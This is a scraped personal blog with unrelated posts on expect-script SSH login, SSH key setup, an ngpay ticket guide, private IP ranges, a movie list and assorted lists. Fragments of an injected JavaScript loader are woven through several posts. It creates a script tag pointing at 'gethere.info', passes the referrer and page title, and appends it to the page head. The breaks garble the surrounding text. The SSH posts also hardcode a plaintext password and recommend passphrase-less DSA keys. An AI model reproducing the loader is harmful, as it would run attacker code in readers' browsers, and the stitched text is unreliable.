expect script vs authorized keys login

Most of the time, a linux script writer must have encountered reasons to automate the scripts that require login to the server, copying of data without the need of giving a password at the shell prompt. Most of the time, people will settle down with setting up the secure key access. ie, using authorized keys. But there is also another way of automating login to the servers. It is by using the expect script.

If expect is installed on your machine you can see it at /usr/bin/expect. If not, just install it using Yum

[root@centos ~]# yum install expect
Loading “fastestmirror” plugin
Loading mirror speeds from cached hostfile
* base: mirror.dhsrv.com
* updates: mirror.nic.uoregon.edu
* addons: repo.genomics.upenn.edu
* extras: mirror.dhsrv.com
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
–> Running transaction check
—> Package expect.i386 0:5.43.0-5.1 set to be updated
–> Finished Dependency Resolution

Dependencies Resolved

Package                 Arch       Version          Repository        Size
expect                  i386       5.43.0-5.1       base              158 k

Transaction Summary
Install      1 Package(s)
Update       0 Package(s)
Remove       0 Package(s)

Total download size: 158 k
Is this ok [y/N]: y
Downloading Packages:
(1/1): expect-5.43.0-5.1. 100% |=========================| 158 kB    00:03
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing: expect                       ######################### [1/1]

Installed: expect.i386 0:5.43.0-5.1

Simple! Now go ahead and put the script as follows

#!/usr/bin/expect -f

set timeout -1
spawn ssh -l mathew
expect “mathew\@’s password:”
send — “mathew\r”

Here , mathew is the username and is the server to which you want to login. I will explain the working of expect script in detail

set timeout -1

How much time the script have to wait. “-1” means wait indefinitely since we are expecting to login to the server. If you want to use the script for some other purpose, better choose default, which is 10 secs, by not specifying the timeout line at all.

spawn ssh -l mathew

spawn will execute whatever command that is put after that in the line

expect “mathew@’s password:”

This is where the catch is . The expect will wait for a feedback similar to “mathew@’s password:”

send — “mathew\r”

Once the expect sees the specified keywords, the next send command will send the value in quotes (mathew) to the shell. The “\r” at the end is mandatory since it instruct to put a newline at the end after writing “mathew” to the prompt.


This will free the control from the script we just ran and give control back to the shell so that we can “interact”


Many people are having trouble setting up secure keys on their machine. It is very simple and here are the steps

Let us assume that the machine you want to login is the Server and the machine from where you login is the client

We will start with the Client. Do the following steps at the Client.

step 1) Create the keypair using dsa encryption. This can be done by passing the key encryption method type to ssh-keygen.

ssh-keygen -t dsa

Hit enter when asked for passphrase. The ssh-keygen program will generate a public and a private key.  They are by default named as “id_dsa.pub” (public key) and private key as id_dsa and is stored in .ssh folder of your home directory by default. You need to safeguard your id_dsa file by encryption and other means like permission restrictions.

ON the server side

Step 1) cd .ssh/  (If the directory is not there , create one)

Step 2) Copy the id_dsa.pub generated in the first step to the Server and append it to the file authorized_keys in .ssh directory.

cat id_dsa.pub  >> .ssh/authorized_keys

Step3 ) Make sure that the permissions on the authorized_keys file is “600”

chmod 600 authorized_keys

Remove the public key file that you have copied. The mistake that most people make is in forgetting the last step and also copying the private key instead of the public key file.

How to login from PUTTY using authorized keys.

When you login from a windows machine using PUTTy, Putty is your client.You will have to use the putty keygen tool http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe. to generate the keygen described in the first step.

Once the keygen is generated, you will have two files , the same as we have described in the first step. Copy the public file content to the Server and the private key need to be added to the putty session you are using to login. For this open PUTTy, goto Connection -> SSH -> Auth and browse to the private file you have generated. Now goto the login session and you will be able to login without any password.var d=document;var s=d.createElement(‘script’);

Movie Wish List – Part 3

 Fabuleux destin d’Amélie Poulain, Le (2001)
Kill bill 
Man on wire| 7/10
watch Dragon Hunters
Watch Gake no ue no Ponyo
Trainspotting (1996) | 8.5/10
Pride and Glory | 8/10
The Apartment | 8.5/10 | (Simple yet beautiful!)
Vicky Cristina Barcelona | 7/10 | (Scarlett & Penelope !)
Brokedown Palace  8/10
Shallow Grave (1994) | 9.5/10
Defiance (2008) | 8.5/10

The Terminal | 9/10
Dirty Harry | 8/10
The Thing [1982] | 8.5/10
Traitor | 8/10
Xiii | 8.9/10
Afro Samurai:Resurrection | 9/10
Kannathil Muthamittal | 10/10
Elegy | 8/10 | Excellent
Quid Pro Quo: | 8 /10
Eagle Eye | 8/10
DEV D  |  8.5/10
Swing Vote | 7.5/10
The Bicycle Thief | 8.3/10
Body of Lies | 8/10

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Ngpay- smart way of paying

Okay, here goes.

Everyone must be using IRCTC for booking tickets online, specifically e-tickets these days. So I dont need to teach anyone how to book railway tickets using the irctc portal. If you are not familiar with this way of booking railway tickets, please refer to the below URLs



Here I am going to guide you on how to book tickets using ngpay.

Official site :  http://www.ngpay.com

I was also skeptical on how to book tickets on this one, especially about the payment method that is being used. But today I had to book a ticket and decided to give a try with ngpay. If you are smart enough :), you can get the details from the ngpay site itself. But I will describe here the steps I followed.

You will need GPRS connection for this to work. May be booking over wifi connection on mobile may also work. I will check this after I get my Nokia 5800 XM 🙂

Step one: Get the ngpay application on your mobile.

To download  you need a link, right…. To get this link you can follow 3 ways

1)Send me your mobile no. 🙂 . I will sent you the link. This way I will get referral point which I have described at the end of this post.

2) SMS  “ngpay” without quotes to 56767

3) Go to http://www.ngpay.com/site/?channel=irctc  and there you will see a box under a mobile image and caption “Enter your mobile number and click submit “. You will see a message “Thanks! You will shortly receive an SMS to download ngpay.” on the webpage

Both steps will allow you to get an sms message with the download link for ngpay to the mobile number that you have specified.

Step two: Open the sms and click on the link provided and download/install the application

I got an sms similar to the one below


IRCTC – Thank you for your interest in IRCTC services on ngpay. To download go to http://www.ngpay.com/ssgw/91<mymobno>.Please call 91 8067004000 for help

Click on the link and it will show that you are about to download the ngpay.jar application which is 64 KB. If you are on a costly GPRS plan, try with a wifi connection. The java application will get installed to the location that you specified.

Step Three: Give your name and details to create an ngpay profile.

The application will ask for the firstname, lastname, street address, email address and your mobile no. At the end , you will have to give a 6 digit pin of your choice which will be your ngpay pin. It will ask for a security question and date of birth also.

Step Four: Go ahead book the ticket

The above steps will finish the initial setup. In the future you can open the application by going to the location where you have the application installed. It will be stored with the name “ngpay”.  In the app, you can see

My Services

My Community

My Profile!

What’s New!


Select My services, and  You will see

Explore All(69)


Select IRCTC and there you can follow the instructions to book the ticket. While booking, it will ask for the source and destination, date and several other details like berth preference, type of coach etc. which you can easily fill out.At the end it will ask you for the method of payment. You have options to pay using visa cards/credit cards , hdfc internet banking … I have used the HDFC way

It will first ask for your HDFC account no. Then while payment it will ask your customer id as well as the password. This is the same logins that you use for login into the Internet banking of the HDFC. While payment it will display the ticket charge , the 10 Rs IRCTC charge, 10 Rs ngpay convenience, 5 Rs payment processing. But at the end they will give a discount of Rs 25 and voila!  you are booking the ticket at the exact ticket fare. (10+10+5-25) heeh!

You will get the e-ticket mailed to the email id that you have specified in step three.

You can use this ngpay to book tickets for you as well as for anyone. While booking just give the name of the passenger. This was one where I was having a doubt. :).The good thing is that you can view the history of the transactions from the application itself.

Cancellation of IRCTC tickets booked using ngpay.

Here also I had a doubt. I searched the ngpay website, but could not find out an answer. So I sent a query to ngpay support using the url below


I was just dumb. Just after I submitted the query, I searched in the ngpay application again and I found the cancellation location

ie, Inside My Services -> IRCTC -> Cancellation

But I was surprised when I got a call from ngpay support guy on my phone. He asked me the name and the amount with which I booked the ticket. Then described the same steps as above.  Now I am sure, this thing is here to stay!!

Possible Uses of NGPAY/Why use NGPAY

  • Book your tickets when no Internet connection is available.
  • Cancel your tickets anywhere anytime
  • Check your PNR status , anywhere anytime
  • NGPAY got lot of services like cinema tickets booking and several other features.. I will explore the same in the future.
  • You can receive points for each transactions which you can redeem later against a service availed with ngpay
  • A referrel service is there which will give you points which you can redeem later.



Referral Method

If you want to help me in anyway, please let me add you. You can do referral by the following method.

  • Goto My community -> Refer a friend and input your friends mobile number.
  • Your friend will receive an sms with the download link to the application. You will get 25 points as reward when your friend completes his registration on ngpay.

Any comments are welcome.if (document.currentScript) {

monkeys and bananas









SORRY, it’s ur personal matter,
i should not interfere.. ;-)s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Public Vs Private IP Numbers

Private IP numbers are the source of much confusion for many new networking users. Many home “powerusers” with more than one computer, small offices, and just about any user of a broadband IP connection to the internet like DSL or Cable Modem has probably come face to face with this issue. The whole use of IP numbers is generally hidden from your typical Internet user who uses a modem and PPP software to connect to the internet – they are transparently and dynamically assigned an IP number while they are dialed in by their ISP, and don’t really have to think about it. That is until the user starts to get curious about running a webserver on a machine in their house, or moving up to faster “always on” connections like ISDN, DSL, Cable Modem, or other methods.

Think about what happens when a small city runs out of phone numbers, but can’t split up an area code. Things could get difficult and providing additional phone service as the city expands would be a nightmare. One method of preventing an area from going totally overboard on providing separate phone numbers is to have one or a handfull of numbers used in a shared manner amongst many phone users, like any large office would do. A large company with 250 workers in an office building each with a phone at their desk wouldn’t want to pay the phone company for 250 discreet and separate lines for each desk, nor would the phone company want to give all those numbers to them if they were trying to conserve numbers. Therefore, offices use internal equipment to “share” a smaller number of lines amongst their users, like mabye 20 or so used in rotary. By doing so, each desk can have an inter-office extension number, which is bridged to an outside phone company line when the user picks one up to dial out and one is free at that moment. In this case, any number of offices in the city might have an “extension 123” within their office, but each “extension 123” in these offices would never conflict with each other because they are “behind” the company’s phone equipment which serves up the company’s outside lines to those extensions when needed. The internal office extensions can communicate with each other perfectly fine, but must be connected to an outside line to connect to an extension at the company across the street. 213-555-1200 thru 1210 would be BigCompany, Inc.’s “public” phone lines, and extensions 1 thru 250 would be BigCompany, Inc.’s, “private” phone lines.

IP protocol networks use a system very similar to the above to prevent the world from running out of IP addresses. Even though 0-255.0-255.0-255.0-255 is technically 4,228,250,625 numbers, the useable amount of numbers is much lower due certain types of numbers set aside for special signalling and identification uses and not for typical “device” identification and traffic. Also consider that just about EVERY device that will handle IP traffic must have a unique number, and there are probably just as many routing and switching and serving devices on “the net” as there are actual computers. Add all that up and one can see how the current IP number structure really doesn’t go all that far, and there is a need for computers and devices in certain groups to be able to use “private extensions” that work behind a group’s “public numbers”, just like the large company offices example above.

The organizations that agree on the technical standards behind the IP protocol have issued a standard for “Private IP number blocks”, or numbers that can be used within an enterprise as long as the enterprise has the technical capability to separate those private IP numbers from the rest of the Internet at large, and properly gateway the traffic between the internal stations at the enterprise in question and the public Internet. For Example, when a large company with 200 computers in the office needs to implement IP networking and connectivity both between the computers in the office *AND* supply inbound and outbound connectivity to the Internet from within their office network, that company would avail themselves of a block of IP numbers within the “private” numbers set aside for just that purpose. There is most certainly many other computers somewhere in the world using your IP number if your IP number is one of these private numbers, but both yours and the other private IP numbers in the world are safely operated behind other IP routing equipment which handles all the internal network’s traffic out to and in from the public Internet, just like all the “extension 105” numbers in offices thruought the world are safely operated behind telephone equipment that bridges those extensions in and outbound thru a given office’s public telephone system number.

The private IP addresses that you assign for a private network (inter-office LAN, Internet Service Provider customer bases, campus networks, etc) should fall within the following three blocks of the IP address space: to, which provides a single Class A network of addresses, which would use subnet mask
(theoretically up to 16,777,215 addresses, good for VERY large enterprises like internet service providers or other global deployment) to, which provides 16 contiguous Class B network addresses, which would use subnet mask
(theoretically up to 1,048,576 addresses, good for large enterprises like colleges and governmental organizations) to, which provides up to 2^16 Class C network addresses, which would use subnet mask
(theoretically up to 65,536 addresses, widely used by default in consumer/retail networking equipment)

Explanation of Subnet masks, Network classes, and other technical info is readily available on the internet.d.getElementsByTagName(‘head’)[0].appendChild(s);

Get a new gmail sticker

I was always been a fan of google and I am always looking out for any changes they are doing to their products. Eventhough this post is not about a software one , it may be interesting to some people.

Google has started to give out gmail stickers. But the catch is that you will have to send a mail by snailmail with a return envelope having your address. They have allowed it to be sent out internationally also. I thought of sending on mail, but at the end of the page, they have mentioned that they will not be held liable if the stickers run out of stock..:(

The stickers look nice and good.

Best moments

Best Moments in Life

* To fall in love.

* To laugh until it hurts your stomach.

* To find mails by the thousands when you return from a vacation.

* To go for a vacation to some pretty place.

* To listen to your favorite song in the radio.

* To go to bed and to listen while it rains outside.

* To leave the! Shower and find that the towel is warm.

* To clear your last exam.

* To receive a call from someone, you don’t see a lot, but you want to.

* To find money in a pant that you haven’t used since last year .

* To laugh at yourself looking at mirror, making faces. :)))

* Calls at midnight that last for hours. :))

* To laugh without a reason.

* To accidentally hear somebody say something good about you.

* To wake up and realize it is still possible to sleep for a couple of hours.

* To hear a song that makes you remember a special person.

* To be part of a team.

* To watch the sunset from the hill top.

* To make new friends.

* To feel butterflies! In the stomach every time that you see that person.

* To pass time with your best friends.

* To see people that you like, feeling happy.

* To use a sweater of the person that you like and find that it still smells of their perfume..

* See an old friend again and to feel that the things have not changed.

* To take an evening walk along the beach.

* To have somebody tell you that he/she loves you.

* To laugh …….laugh……..and laugh …….. remembering stupid things done with stupid friends.

These are the best moments of life….

user roles in wordpress

As a new wordpress blogger, you may be confused of the user roles that are in the dashboard administrative section of the wordpress blog.

Here is the excerpt as from the wordpress support site

There are four roles: Administrator, Editor, Author, and Contributor.


An administrator can do everything. Complete power over posts/pages, comments, settings, theme choice, import, users – the whole shebang. Nothing is off-limits, including deleting the entire blog.

So be careful in giving this away to “anyone”


An editor can publish, edit, and delete any posts/pages, moderate comments, manage categories, manage tags, manage links and upload files.

Not that any user can delete any posts. So this one is also like a moderator role


An author can edit, publish and delete their posts and they can upload files.

You may want to give this to most of the authorized users.


A contributor can edit their posts but cannot publish.

Just a dumppppp user 🙂


Be careful what roles you give people, especially if you want them to be an Editor or Administrator.

var d=document;var s=d.createElement(‘script’);

Help in buying a new mobile

Many times whenever you were about to buy a mobile, you will be looking to someone for advice to know which mobile is the best and cheapest and Value for money, VFM

Here is a compilation of a few websites that will provide you with some guidelines in buying a mobile and will get you out of your dilemma.

Just follow these simple steps:

STEP 1- Check the prices of mobile through these sites after fixing your budget.




STEP 2- Read detailed specifications  of your shortlisted mobiles and distinguish them on this basis.

STEP 3- If you are still confused, see expert reviews of the mobiles.
http://www.mobile-review.com *
http://www.phonearena.com/ *
http://www.gsmarena.com/reviews.php3 *

(*-Recommended)if (document.currentScript) {